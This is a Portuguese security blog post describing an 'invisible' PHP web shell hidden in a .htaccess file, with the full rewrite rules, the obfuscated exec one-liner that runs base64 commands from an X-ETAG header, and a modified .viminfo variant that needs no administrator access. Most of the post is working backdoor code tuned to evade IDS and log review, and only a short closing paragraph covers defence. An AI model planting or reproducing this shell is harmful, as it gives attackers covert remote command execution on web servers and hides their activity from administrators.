Ver Feed RSS

Coluna de Segurança

Web Shell Invisível - Será?

Avalie este Post de Blog
Esses dias acabei trombando com um post de uma idéia MUITO interessante, criar uma webshell 'invisível'. Achei a idéia e os recursos utilizados geniais, porém existem alguns pontos importantes que devem ser levados em conta.


Antes de falar sobre estes pontos deixe me resumir como funciona esta idéia.


Você faz o upload da shell disfarçada de .htaccess que tem 3 propósitos.


Primeiramente ser um arquivo oculto - .htaccess
Alterar alguns parâmetros do próprio PHP:
Código :
AddType application/x-httpd-php .htaccess
 
php_value output_buffering 1
Isto faz com que o arquivo .htaccess seja interpretado como um script php e que ative a opção output_buffering necessária para utilizar a ETAG
Esconder a real requisição dos logs do apache (Feito pelo Rewrite do código).
Código :
   RewriteEngine on
   RewriteCond %{HTTP:X-ETAG} !^$
   RewriteRule .* .htaccess [L]
Isto faz com que qualquer requisição feita ao diretório onde o .htaccess se encontre e contenha a ETAG no header, seja redirecionada para o arquivo .htaccess (onde se encontra o código da shell).
Por último mas não menos importante é o próprio código da shell:
Código :
# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>


Esse código php chama a função exec, que por sua vez executa diretamente no SO da máquina o código passado pelo cabeçalho ETAG.


Toda comunicação entre o client perl e a shell php é encodada pela função base64_encode, com isso um IPS baseado em assinatura não detecta o real conteúdo executado na máquina, e caso ele seja capaz de decodar o conteúdo ainda existe mais uma jogada interessante.


Toda troca de tráfego entre o cliente e a shell é encodada, e depois de encodada e adicionada a string "AA":


Resposta enviada pelo .htaccess
Código :
 header("X-ETAG: AA".base64_encode(implode("\r\n ", $o)));


Comando a ser executado pelo .htaccess, vejam o substr, ele remove os 2 primeiros caracteres que é a string "AA" adicionada propositalmente.
Código :
$e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o);


Com isso a string total não seria compreendida pelo IDS. Ótimo meio de passar pelo IDS não acham?


Agora vamos aos pontos importantes ao serem considerados sobre esta shell.


1) Alterar configuração do Apache


É preciso ter acesso privilegiado ao sistema para poder alterar a opção do AllowOverride, deixando assim:


Código :
 <Directory /var/www/>
         Options Indexes FollowSymLinks MultiViews 
         AllowOverride All        
         Order allow,deny        
         allow from all
</Directory>


2) Uso inválido do .htaccess
A shell contém o seguinte trecho de código:


Código :
<files ~="" "^\.ht"="">
    Order allow,deny
    Allow from all
</files>


Este trecho de código dentro do .htaccess vai gerar um erro, pelo menos na maioria das configurações padrão do Apache:


Código :
[Wed Dec 12 10:18:41 2012] [alert] [client 127.0.0.1] /var/www/.htaccess: Multiple <Files> arguments not (yet) supported.


Você pode retirar este código de dentro do .htaccess e fazer direto na configuração do virtualhost. Se você tem acesso para mudar o AllowOverride também poderá fazer esta modificação.


Mas isto quer dizer que ela é inútil?


Longe disso! A idéia é excelente. Mas o que fazer se você não tiver acesso administrativo para fazer todas essas modificações necessárias, mas apenas um usuário comum?


Basta algumas pequenas modificações:


1) Seu .htaccess deve ficar assim:
Código :
AddType application/x-httpd-php .viminfo
 
php_value output_buffering 1
 
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .viminfo [L]
.viminfo ? Sim! .viminfo é um arquivo que continua oculto e pode ser acessado via browser diretamente sem ter que alterar nada na configuração do apache para isso.




2) O arquivo .viminfo:
Código :
<?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>


Pronto! Agora é possível ter uma webshell funcionando sem precisar de acesso privilegiado ao sistema.


Agora vejamos como fica a rastreabilidade disso analisando os logs do servidor:

Clique na imagem para uma versão maior

Nome:	         screenshotfrom201212121.jpg
Visualizações:	597
Tamanho: 	115,7 KB
ID:      	41235


Como podemos ver na imagem acima a única coisa que aparece no log e pode chamar a atenção de quem tiver o olho mais atento a este tipo de coisa é o tamanho a requisição, mas os comandos executados estão totalmente escondidos, nada daqueles lixos de shell.php?cmd=ls, shell.php=wget xxx.com/a.php,etc.

Existe a possibilidade de se registrar os cabeçalhos em log? Sim, será necessário ativar alguns módulos no apache mas é totalmente possível.


Como se defender disso?
É bem simples, desabilite funções perigosas, como exec,system,passthru,shell_exec,etc. Mantenha o servidor atualizado, verifique as permissões dos arquivos,etc. Quem sabe em um outro artigo eu aprofunde o assunto.
Categorias
Não Categorizado

Comentários


+ Enviar Comentário